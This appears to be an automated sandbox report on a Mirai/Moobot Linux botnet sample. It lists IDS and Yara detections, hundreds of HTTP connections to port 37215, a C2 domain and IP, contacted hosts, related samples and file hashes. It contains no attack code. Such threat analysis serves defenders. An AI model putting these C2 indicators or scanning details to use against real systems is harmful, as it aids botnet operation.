Source: unknown	Network traffic detected: HTTP traffic on port 37012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Mirai

Source: Yara match	File source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	2 File and Directory Permissions Modification	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	71%	ReversingLabs	Linux.Trojan.Mirai
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	66%	Virustotal		Browse
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	100%	Avira	EXP/ELF.Mirai.Z.A
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cnc.gay	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.gay	154.216.17.9	true	false	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	false	URL Reputation: safe URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.248.235.159	unknown	Morocco	36903	MT-MPLSMA	false
156.56.148.24	unknown	United States	87	INDIANA-ASUS	false
60.3.25.98	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.188.184.77	unknown	Tanzania United Republic of	37084	simbanet-tzTZ	false
130.247.2.210	unknown	United States	786	JANETJiscServicesLimitedGB	false
49.171.134.182	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
172.238.229.216	unknown	United States	20940	AKAMAI-ASN1EU	false
69.25.66.63	unknown	United States	14742	INTERNAP-BLOCK-4US	false
197.116.147.51	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.241.153.111	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
49.172.146.94	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
133.81.7.66	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.140.123.145	unknown	Morocco	36903	MT-MPLSMA	false
41.59.73.41	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
145.237.193.151	unknown	Poland	34339	POLFIN-ASPL	false
41.12.83.195	unknown	South Africa	29975	VODACOM-ZA	false
197.204.9.207	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.67.168.147	unknown	South Africa	16637	MTNNS-ASZA	false
139.21.213.52	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
4.249.28.41	unknown	United States	3356	LEVEL3US	false
197.216.246.241	unknown	Angola	11259	ANGOLATELECOMAO	false
156.249.231.158	unknown	Seychelles	26484	IKGUL-26484US	false
156.127.163.81	unknown	United States	393504	XNSTGCA	false
41.105.16.203	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.4.224.29	unknown	Tunisia	5438	ATI-TN	false
156.73.167.217	unknown	United States	2024	NUUS	false
61.203.216.130	unknown	Japan	7679	QTNETQTnetIncJP	false
41.130.176.246	unknown	Egypt	24863	LINKdotNET-ASEG	false
179.72.17.236	unknown	Brazil	26615	TIMSABR	false
41.183.48.201	unknown	South Africa	37028	FNBCONNECTZA	false
51.73.17.146	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
156.50.27.192	unknown	Australia	29975	VODACOM-ZA	false
197.223.62.33	unknown	Egypt	37069	MOBINILEG	false
156.185.114.232	unknown	Egypt	36992	ETISALAT-MISREG	false
156.65.153.115	unknown	United States	26960	MICHELIN-NORTH-AMERICA-I1US	false
197.224.41.182	unknown	Mauritius	23889	MauritiusTelecomMU	true
156.146.203.241	unknown	United States	1448	UNITED-BROADBANDUS	false
156.204.84.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
129.0.41.208	unknown	Cameroon	30992	MTN-NS-CAMEROONCM	false
39.168.93.4	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
156.161.230.36	unknown	Egypt	36992	ETISALAT-MISREG	false
41.198.16.205	unknown	South Africa	36877	IWAY_AFRICAZA	false
31.66.126.244	unknown	United Kingdom	12576	EELtdGB	false
195.47.223.109	unknown	United Kingdom	29016	PEARSON-ASGB	false
156.83.202.38	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
13.249.180.9	unknown	United States	16509	AMAZON-02US	false
117.198.255.222	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
197.160.192.226	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.240.81.193	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.63.149.41	unknown	United States	62724	NWOCA-ASUS	false
41.219.142.72	unknown	Nigeria	30998	NAL-ASNG	false
77.224.248.135	unknown	Spain	12430	VODAFONE_ESES	false
41.139.7.16	unknown	Ghana	35091	TELEDATA-ASTeledataGhanaIL	false
73.80.5.144	unknown	United States	7922	COMCAST-7922US	false
197.8.143.210	unknown	Tunisia	5438	ATI-TN	false
205.250.25.115	unknown	Canada	852	ASN852CA	false
197.240.45.191	unknown	unknown	37705	TOPNETTN	false
70.228.140.107	unknown	United States	7018	ATT-INTERNET4US	false
197.136.224.50	unknown	Kenya	36914	KENET-ASKE	false
41.97.63.146	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.65.82.98	unknown	South Africa	16637	MTNNS-ASZA	false
156.2.32.4	unknown	United States	29975	VODACOM-ZA	false
41.218.141.248	unknown	Egypt	25576	AFMICEG	false
132.177.70.75	unknown	United States	11745	USNHUS	false
41.44.233.213	unknown	Egypt	8452	TE-ASTE-ASEG	false
132.158.151.222	unknown	United States	2665	CDAGOVNCA	false
197.247.118.95	unknown	Morocco	36925	ASMediMA	false
156.175.120.75	unknown	Egypt	36992	ETISALAT-MISREG	false
41.69.75.110	unknown	Egypt	24835	RAYA-ASEG	false
156.235.45.137	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.39.128.50	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.227.67.43	unknown	Tunisia	37693	TUNISIANATN	false
45.91.251.91	unknown	Germany	46475	LIMESTONENETWORKSUS	false
197.163.1.66	unknown	Egypt	24863	LINKdotNET-ASEG	false
145.148.254.242	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
197.130.113.46	unknown	Morocco	6713	IAM-ASMA	true
156.158.201.149	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
41.189.163.131	unknown	Ghana	30986	SCANCOMGH	false
197.41.93.133	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.203.64.82	unknown	Nigeria	37148	globacom-asNG	false
156.5.232.94	unknown	United States	29975	VODACOM-ZA	false
79.12.50.221	unknown	Italy	3269	ASN-IBSNAZIT	false
49.148.56.186	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
156.98.56.163	unknown	United States	1998	STATE-OF-MNUS	false
182.60.194.150	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
197.211.66.87	unknown	South Africa	29918	IMPOL-ASNZA	false
197.173.74.97	unknown	South Africa	37168	CELL-CZA	false
197.225.3.156	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.183.54.74	unknown	Egypt	36992	ETISALAT-MISREG	false
66.135.222.186	unknown	United States	11643	EBAYUS	false
197.141.7.94	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.166.142.47	unknown	Egypt	24863	LINKdotNET-ASEG	false
174.97.116.30	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.218.162.251	unknown	Mozambique	37342	MOVITELMZ	false
148.202.248.90	unknown	Mexico	2549	UniversidaddeGuadalajaraMX	false
187.251.225.230	unknown	Mexico	18592	CorporacionUniversitariaparaelDesarrollodeInternetA	false
41.21.252.14	unknown	South Africa	36994	Vodacom-VBZA	false
41.232.91.227	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.225.189.122	unknown	Tunisia	37671	GLOBALNET-ASTN	false
156.145.137.206	unknown	United States	395139	NYP-INTERNETUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.116.147.51	6gFeCwcfXM.elf	Get hash	malicious	Mirai, Moobot	Browse
41.248.235.159	EYhvUxUIsT.elf	Get hash	malicious	Mirai	Browse
	MPpEzDMyRn.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Mirai.4306.29723.12836.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	yakuza.x86	Get hash	malicious	Unknown	Browse
	7xpWqIGGvH	Get hash	malicious	Mirai	Browse
156.241.153.111	x86	Get hash	malicious	Mirai	Browse
133.81.7.66	Zeus.mpsl	Get hash	malicious	Mirai	Browse
133.81.7.66	Ud65RYfel4	Get hash	malicious	Mirai	Browse
156.56.148.24	KdE0PZzqZa.elf	Get hash	malicious	Mirai, Moobot	Browse
156.56.148.24	aoe1Y74GBv	Get hash	malicious	Mirai	Browse
41.140.123.145	p8a13ef0D3.elf	Get hash	malicious	Mirai	Browse
	ev8yJAPSv0.elf	Get hash	malicious	Mirai	Browse
	yakuza.x86	Get hash	malicious	Unknown	Browse
41.188.184.77	19RHDpMO23.elf	Get hash	malicious	Mirai	Browse
	ascaris.x86.elf	Get hash	malicious	Mirai	Browse
	arm7	Get hash	malicious	Mirai	Browse
	djRl6t3Lqh	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cnc.gay	205.185.120.123-skid.ppc-2024-07-27T10_33_45.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.arm5-2024-07-27T10_33_41.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.arm-2024-07-27T10_33_40.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.x86_64-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.x86-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.sh4-2024-07-27T10_33_38.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.m68k-2024-07-27T10_33_18.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.arm7-2024-07-27T10_33_43.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	205.185.120.123-skid.mpsl-2024-07-27T08_45_37.elf	Get hash	malicious	Mirai, Moobot	Browse	92.249.48.34
	94.156.8.9-skid.mips-2024-07-23T17_40_11.elf	Get hash	malicious	Mirai, Moobot	Browse	94.156.8.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MT-MPLSMA	botx.x86.elf	Get hash	malicious	Mirai	Browse	196.217.149.198
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	105.155.198.218
	0Jx274skf2.exe	Get hash	malicious	Njrat	Browse	160.177.71.84
	x86_64.elf	Get hash	malicious	Mirai	Browse	41.248.235.173
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	41.143.199.204
	wKrQaAEaJ4.elf	Get hash	malicious	Mirai	Browse	196.217.237.151
	Tn08qpE9Le.elf	Get hash	malicious	Mirai	Browse	160.179.188.123
	RTHwq4aOyr.exe	Get hash	malicious	Njrat	Browse	41.142.36.213
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	196.74.188.212
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	160.178.221.32
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	doc_RFQ NEW ORDER #2400228341.pdf.exe	Get hash	malicious	AsyncRAT	Browse	123.6.124.12
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	27.221.16.179
	1.exe	Get hash	malicious	BlackMoon	Browse	27.221.16.149
	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	116.142.186.2
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	115.56.184.205
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	101.19.112.247
	botx.mips.elf	Get hash	malicious	Mirai	Browse	125.39.152.70
	botx.x86.elf	Get hash	malicious	Mirai	Browse	113.202.153.101
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	171.127.101.187
	botx.arm.elf	Get hash	malicious	Mirai	Browse	122.141.231.83
INDIANA-ASUS	botx.x86.elf	Get hash	malicious	Mirai	Browse	149.191.77.22
	botx.arm.elf	Get hash	malicious	Mirai	Browse	149.176.153.196
	FW3Yo7f3to.elf	Get hash	malicious	Mirai, Moobot	Browse	149.191.28.73
	JSd25Gusnc.elf	Get hash	malicious	Mirai	Browse	149.179.216.146
	0lMevtsZn2.elf	Get hash	malicious	Mirai	Browse	156.56.39.5
	205.185.120.123-skid.arm-2024-07-27T10_33_40.elf	Get hash	malicious	Mirai, Moobot	Browse	156.56.161.60
	205.185.120.123-skid.x86_64-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	156.56.100.94
	205.185.120.123-skid.x86-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	156.56.100.80
	205.185.120.123-skid.sh4-2024-07-27T10_33_38.elf	Get hash	malicious	Mirai, Moobot	Browse	156.56.161.32
	205.185.120.123-skid.arm7-2024-07-27T10_33_43.elf	Get hash	malicious	Mirai, Moobot	Browse	156.56.100.62

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.607084354811596
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	77.90.35.9-skid.x86-2024-07-30T07_10_50.elf
File size:	62'832 bytes
MD5:	7ae5be556ab3fc6c787afaa3f0b439e0
SHA1:	bb82b50eefc28e4b83be7e0818e7592341b7375f
SHA256:	71305d2b0c443a9a50492ceb49c1c812df937f58e69def3f1e472ac4dc06c9bb
SHA512:	f9c8f46d00599435a35e1bdf23de816e35baf172c50fee32deef6b882e4d174d2b7145ef56ee928b89aa846195179334cec973ce204f62ff8cc66e0bbca0323e
SSDEEP:	1536:dWQCTjHPGiTNxH5Eub/XFPHROtS5+eZyep8cNBcfer+u4BwbZnG:4QCTjHPJxHZ/XFPHROtS5+ewe2S6fx/v
TLSH:	99534CC4EA83DCB5D8170671207B9F337A76E5E91264E793E798A933FC01602D507AAC
File Content Preview:	.ELF....................d...4...........4. ...(......................................... ... ... ........)..........Q.td............................U..S............h........[]...$.............U......=.....t..5....D......D.......u........t....h.q..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62432
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
